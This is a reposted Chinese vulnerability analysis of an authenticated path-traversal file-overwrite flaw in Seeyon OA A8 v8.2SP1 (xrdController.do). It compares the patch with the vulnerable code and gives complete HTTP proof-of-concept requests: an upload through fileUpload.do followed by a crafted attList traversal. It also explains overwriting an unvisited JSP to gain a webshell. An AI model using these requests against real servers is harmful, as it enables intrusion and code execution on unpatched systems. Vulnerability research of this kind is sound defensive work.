致远oa-xrdController.do后台-文件复制漏洞分析

admin 2026-01-05 17:54:09 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 致远OAA8-v8.2SP1xrdController.do存在需登录的文件复制漏洞:未对attList参数filename做目录穿越过滤,可结合fileUpload.do上传拿到fileid后,通过构造attList=fileid$../../路径实现任意文件覆盖;补丁用getCanonicalPath+getName限制穿越。利用需知Web绝对路径且只能覆盖已存在文件,空文件会因先建同名目录失败,覆盖冷门jsp可GetShell。给出完整POC与补丁对比,强调禁止非法攻击。 综合评分: 88 文章分类: 漏洞分析,WEB安全,漏洞POC,安全大事件


cover_image

致远oa-xrdController.do后台-文件复制漏洞分析

原创

Charming

安全白白

2026年1月5日 07:00 北京

Charming@深信服北京天雄战队

1.漏洞补丁(复现漏洞需要登录)

官网补丁

https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=135

2.复现环境

某远A8-v8.2SP1

3.漏洞复现

1.查看补丁

存在漏洞的Controller为xrdController首先看看补丁与漏洞代码有何不同 重点关注 checkIsSign 方法中的 fileName 参数 在有漏洞的版本之中直接通过接收 http的参数来拼接路径 (所以这个时候我们通过传入 ../../ 就能达到目录穿越的效果) 然而在补丁之中则是通过

fileName = (new File(Strings.getCanonicalPath(fileName))).getName(); 来获取 fileName 从而限制传参达到过滤的效果

2.漏洞分析

由下述代码可以得知 http 需要接受 两个参数 一个是 summaryId 另外一个参数则是 attList ( attList fildData[0] 则是我们需要传入的 fileid , fildData[1]则是我们传入的 filename 通过 $ 符号分割)

接着我们来看一下 创建文件夹 与 创建文件的 两个方法 createDir 与 decrypt 可以看到都是很耿直的方法没有经过任何过滤。

getFile 传入的就是fileid

路由

构造传参

/seeyon/xrdController.do?method=checkIsSign&summaryId=123&attList={fildData[0]}${fildData[1]}

所以这个时候理论上我们只需要再上传一个文件拿到fileid即可 这里我们采用 fileUpload.do 的 processUpload 方法上传 回包记录 fileid

POST /seeyon/fileUpload.do?method=processUpload&type=0&firstSave=true&inputId=localImport&applicationCategory=1&extensions=txt&quantity=1&maxSize=52428800&isEncrypt=false&popupTitleKey=&attachmentTrId=poiLocalImport&callMethod=localImportPortalPackgeCallBack HTTP/1.1
Host: 192.168.81.194
Content-Length: 90864
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Cookie: ts=1766462699840; JSESSIONID=E5CB2A0A1BF9E7A62DB54D6C3D370EC4; login_locale=zh_CN; loginPageURL=; JSESSIONID=38C9327EC1D5739CE5D0F6B2D4FF5C93; avatarImageUrl=-3517823550927912401
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD4liNoBEBG7u06fv
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryD4liNoBEBG7u06fv
Content-Disposition: form-data; name="upload"; filename="333.txt"
Content-Type: text/plain

123123
------WebKitFormBoundaryD4liNoBEBG7u06fv--

3.构造POC

这个时候就可以开始构造最终POC 这里是有一点小鸡肋的 我们得知道 web的绝对路径 才可以写入web目录

// 下面例子 路径是虚构的路径 用来讲解使用

原因就是这两行代码导致目录穿越  任意文件写入相对路径有问题

1.String copyPath = file.getParent() + File.separator + "xrd" + File.separator + fileName;

2.CtpLocalFile output  = new CtpLocalFile(copyPath + File.separator + fileName);

一.任意文件写入

1.当我们输入  /../../../Apa/web1/see/test 的时候  (非正常情况)

output = /see/ba/temp/xr/../../../Apa/web1/see/test/../../../Apa/web1/see/test

---> 文件名 /see/Apa/Apa/web1/see/test

2.当我们输入  /../../../Apa/web1/test 的时候  (正常情况)

output = /see/ba/temp/xr/../../../Apa/web1/test/../../../Apa/web1/test

---> 文件名 /see/Apa/web1/test

由上可知目录穿越受到了限制 永远会多出来一个 Apa 所以无法直接写入到tomcat的Web目录 最多只能回3级目录 也就是 任意文件写入到 web1 之中

二.绕过思路 (文件覆盖)

文件覆盖 文件指定写入到一个存在的文件之中 那么这个时候 创建的文件夹和文件名 是一样的 他就不会创建文件夹 文件就可以写入

如果是一个空的文件 那么 他会先生成文件夹 然后再生成文件名 这个时候就会出现bug 导致文件写入不了 这就是为什么采用了绝对路径 当目录足够多时也有限制的原因 不能实现任意文件写入

比如输入 /../../../../../see/Apa/web1/see/test

output=
/see/ba/temp/xr/../../../../../see/Apa/Apa/web1/see/test/../../../../../see/Apa/web1/see/test

---> 创建的文件 /see/Apa/web1/see/test

     创建的文件夹也是 /see/Apa/web1/see/test

所以想写入web目录只能是写入已有的文件之中

最终POC(需要登录)

GET /seeyon/xrdController.do?method=checkIsSign&summaryId=123&attList={1}${2} HTTP/1.1
Host: 192.168.81.194
RequestType: AJAX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: http://192.168.81.194/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ts=1766462699840; JSESSIONID=E5CB2A0A1BF9E7A62DB54D6C3D370EC4; login_locale=zh_CN; loginPageURL=; JSESSIONID=38C9327EC1D5739CE5D0F6B2D4FF5C93; avatarImageUrl=-3517823550927912401
Connection: close

成功写入内容

特殊情况下的RCE 需要找一个 web目录之中没有人访问过的jsp文件 实现文件覆盖 再访问这个jsp 文件才可以生效 原因应该是 某远的web目录没有实现热加载 访问过的jsp文件有缓存 中途修改jsp文件的内容不会加载

getshell

内容仅供参考学习禁止违规攻击!!!!

本文首发先知社区:https://xz.aliyun.com/news/90931


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全白白 Charming《致远oa-xrdController.do后台-文件复制漏洞分析》

评论:0   参与:  0